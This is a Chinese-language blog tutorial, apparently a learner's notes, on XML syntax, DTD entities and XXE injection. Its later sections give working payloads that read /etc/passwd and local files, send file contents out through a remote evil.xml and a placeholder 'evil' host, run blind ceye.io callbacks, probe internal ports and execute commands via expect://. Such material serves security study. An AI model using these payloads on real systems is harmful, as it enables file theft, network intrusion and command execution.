xml注入与xxe注入基础知识

xml定义

xml由三个部分构成,它们分别是:文档类型定义(dtd)、即xml的布局语言;可拓展的样式语言即xml的样式表语言(xsl);以及可拓展链接语言(XLL);
xml:可拓展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据,而不是储存数据;可拓展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。需要自行定义
可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计
它被设计用来传输和存储数据,其焦点是数据的内容。
超文本标记语言被设计用来显示数据,其焦点是数据的外观

xml作用

XML使用元素和属性来描述数据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。使用XML做数据交换可以使应用程序更具有弹性,因为可以用位置(与普通文件一样)或用元素名(从数据库)来存取XML数据。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

<?xml version="1.0" encoding="UTF-8"?>

<!-- ⬆XML声明⬆ -->

<!DOCTYPE 文件名 [

<!ENTITY实体名 "实体内容">

]>

<!-- ⬆文档类型定义(DTD)⬆ -->

<元素名称 category="属性">

文本或其他元素

</元素名称>

<!-- ⬆文档元素⬆ -->

xml格式说明

xml用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML生命、DTD文档类型定义(可选)、文档元素。

<?xml version="1.0" ?>#xml声明
<!DOCTYPE note[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)>
<!ELEMENT heading(#PCDATA)>#文档类型定义
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>George</to> #文档元素
<from>John</Ffrom>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

DTD(文档类型定义)的作用是定义XML文档的合法构建模块、DTF可以在xml文档内生命,也可以外部引用。

(1)内部声明DTD

<!DOCTYPE 根元素 [元素声明]>

(2)引用外部DTD

<!DOCTYPE 根元素 system "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID""文件名">
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用

(3)DTD的实体
作用:DTD(文档类型定义)的作用是定义xml文档的合法构建模块。DTD可以在xml文档内声明,也可以外部引用。

外部实体是指XML处理器必须解析的数据。它对于在多个文档之间创建共享的公共引用很有用。对外部实体进行的任何更改将在包含对其的应用的文档中,自动更新。即xml使用外部实体将信息或“内容”将自动提取到xml文档的正文中。为此,我们需要在xml文档内部声明一个外部实体
DTD实体适用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。。我们可以在内部确定其值(内部子集):

<!ENTITY AppSec "Appsec-Labs">

或从外部来源(外部子集):

<!ENTITY AppSec SYSTEM "http://site.com/some_content/html">

SYSTEM标识符:该标识符意味着该实体将从外部来源获取内容,在本例中,该内容是“site.com”下的一个页面。

为了声明这些实体,我们需要在文档类型定义(DTD)中进行。DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明,也可以作为外部引用声明—使用SYSTEM标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等,然后,在其他DoM结点中可以使用如:&test;引用该实体内容.

那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,CSRF等漏洞.

如果要引用一个外部资源,可以借助各种协议 几个例子:

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

我们来看一个DTD的例子,一个在DTD里面有一个SYSTEM标识符的实体:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Author[
<!ENTITY app SYSTEM "http://site.com/some_conten.html">
]

l 内部声明实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

一个内部实体声明

例子

DTD:

XML:

&writer;

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

l 引用外部实体

一个外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL">

或者

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

例子

DTD:

<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">

XML:

<author>&writer;</author>

外部实体类型有

xxe

(4)CDATA

CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。

在 XML 元素中,”<” (新元素的开始)和 “&” (字符实体的开始)是非法的。

某些文本,比如 JavaScript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。

CDATA 部分中的所有内容都会被解析器忽略。

CDATA 部分由

"<![CDATA[" 开始,由 "]]>"

结束

XML实体

XML的实体分为以下五种:字符实体、命名实体、外部实体、参数实体、内部实体、普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体代指内容为字符串。

(1.)字符实体

指用十进制格式(&#aaa;)或十六进制格式x;来指定任意Unicode字符。对XML解析器而言,字符实体与直接输入指定字符的效果完全相同。

(2)命名实体

也称为内部实体,在DTD或内部子集(即文档中<!DOCTYPE>语句的一部分)中生命,在文档中用作引用。在xml文档解析过程中,实体引用将由它的表示替代

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>
<value>&xxe;</value>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://otherhost/xxxx.php" >]>
<value>&xxe;</value>

可以用做xxe+ssrf

(3)外部实体

外部实体表示外部文件的内容,用 SYSTEM 关键词表示。

有些XML文档包含system标识符定义的“实体”,这些文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE Anything [

<!ENTITY entityex SYSTEM "file:///etc/passwd">

]>

<abc>&entityex;</abc>

在上面的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取,并把读取的内容替换entityex出现的地方。

  假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件

(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)

(4)参数实体

参数实体只用于DTD和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体,参数实体的声明和引用都是以百分号%。并且参数实体的应用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容
img

或者

参数实体只能在 DTD文件中被引用,其他实体在XML文档内引用。
即下面实例,参数实体 在DOCTYPE内 ,其他实体在外

<!DOCTYPE a [
<!ENTITY % name SYSTEM “file:///etc/passwd">

%name;
]>

参数实体在DTD中解析优先级高于xml内部实体

实体相当于变量 “file:///etc/passwd”赋值给name

先写一段简单的xml利用代码,以php为例子:

<?php

$data = file_get_contents('php://input');

$xml = simplexml_load_string($data);

echo $xml->name;

?>

echo $xml->name;中->name

(5)内部实体

内置实体为预留的实体,如:

实体引用字符

< <

> >

& &

" “

' ‘

而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

关于实体嵌套的情况,比较幸运的是DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 % 如下:

<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >'

%也可写为16进制%

另:内部实体的这支持与否也是取决于解释器的

(6)命名实体+外部实体写法

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
<!ENTITY dtd SYSTEM "http://localhost:88/evil.xml">
]>
<value>&dtd;</value>

这种命名实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,感觉命名实体好鸡肋,参数实体就好用很多

(7)第一种命名实体+外部实体+参数实体写法

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd; %all;
]>
<value>&send;</value>

其中evil.xml文件内容为

<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">

调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用命名实体send

(8)第二种命名实体+外部实体+参数实体写法

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd;
%send;
]>
<root></root>

其中evil.xml文件内容为:

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

调用过程和第一种方法类似

XML中的协议支持

img

上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

XXE注入定义

XXE注入,即XML 外部实体注入。通过XML实体,“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取数据。所以攻击者可以通过XML实体传递自己构造的恶意值,是处理程序解析它。当应用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

ENTITY实体,在一个甚至多个XML文档中频繁使用某一条数据,我们预先定义一个这条数据的”别名”,即一个ENTITY,然后再这些文档中需要该数据的地方调用它。XML定义了两种类型的ENTITY,一种在XML文档中使用

若是在PHP中,若是在PHP中,libxml_disable_entity_loader设置为TRUE可禁用外部实体注。入另一种作为参数在DTD文件中使用。ENTITY的定义语法:

<!DOCTYPE 文件名 [

<!ENTITY 实体名 "实体内容">

]>

定义好的ENTITY在文档中通过“&实体名;”来使用。举例:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE booklist [

<!ENTITY publisher "ABC company">

]>

<booklist>

<book>

<name>Ajax</name>

<price>$5.95</price>

<description>Foundations of Ajax.</description>

<publisher>&publisher;</publisher> 这里的&publisher;会被“ABC company”替换

</book>

<book>

<name>Ajax Patterns</name>

<price>$7.95</price>

<description>Introduction of Ajax Patterns.</description>

<publisher>&publisher;</publisher> 这里的&publisher;会被“ABC company”替换

</book>

</booklist>

在 XML 中有 5 个预定义的实体引用:

< < 小于
> > 大于
& & 和号
' 省略号
" 引号

注释:严格地讲,在 XML 中仅有字符 “<”和”&” 是非法的。省略号、引号和大于号是合法的,但是把它们替换为实体引用是个好的习惯。

7.XXE漏洞原理

既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来,不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。

那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

1.任意文件读取

payload如下:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///D://phpStudy//WWW//aa.txt">]>
<root>
<name>&xxe;</name>
</root>

读取aa.txt的内容:

XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

2.探测sql盲注

一般在漏洞挖掘中我们是猜测不到

<root></root>

里面是name标签的。所以我们用另一种方法更靠谱:推荐网站:http://ceye.io/payloads

找到网站上自带的XML注入利用代码:

XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

稍微整理下生成payload如下:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://9j4jd9.ceye.io/xxe_test">

%remote;]>

<root/><?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://9j4jd9.ceye.io/xxe_test">

%remote;]>

<root/>

看下现在是几点钟:

XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

晚上八点多钟,我们复制payload发送请求:

XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

看下网站里面自带的日志功能:

XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

应该是时间延迟问题。反正相差十分钟以内!

这里接收到我们的payload请求说明是存在XML注入的,用这种方法测试XML注入我感觉很好

1.可以无限制盲打

2.测试简单方便不需要很繁琐测试猜测

3.探测内网地址

payload如下:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY>

<!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>

<root>

<name>&xxe;</name>

</root>

成功探测到内网端口内部信息。

XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

我这是在windows下测试,假如是linux下还可以命令执行:

在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令

测试payload:

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "expect://ifconfig" >]>

<root>

<name>&xxe;</name>

</root>

这里读取系统命令ifconfig读取ip

参考:https://www.cnblogs.com/backlion/p/9302528.html

大致学习一下XML的一些语法以及XML的注入漏洞

Author

vague huang

Posted on

2021-04-10

Updated on

2021-07-27

Licensed under

Comments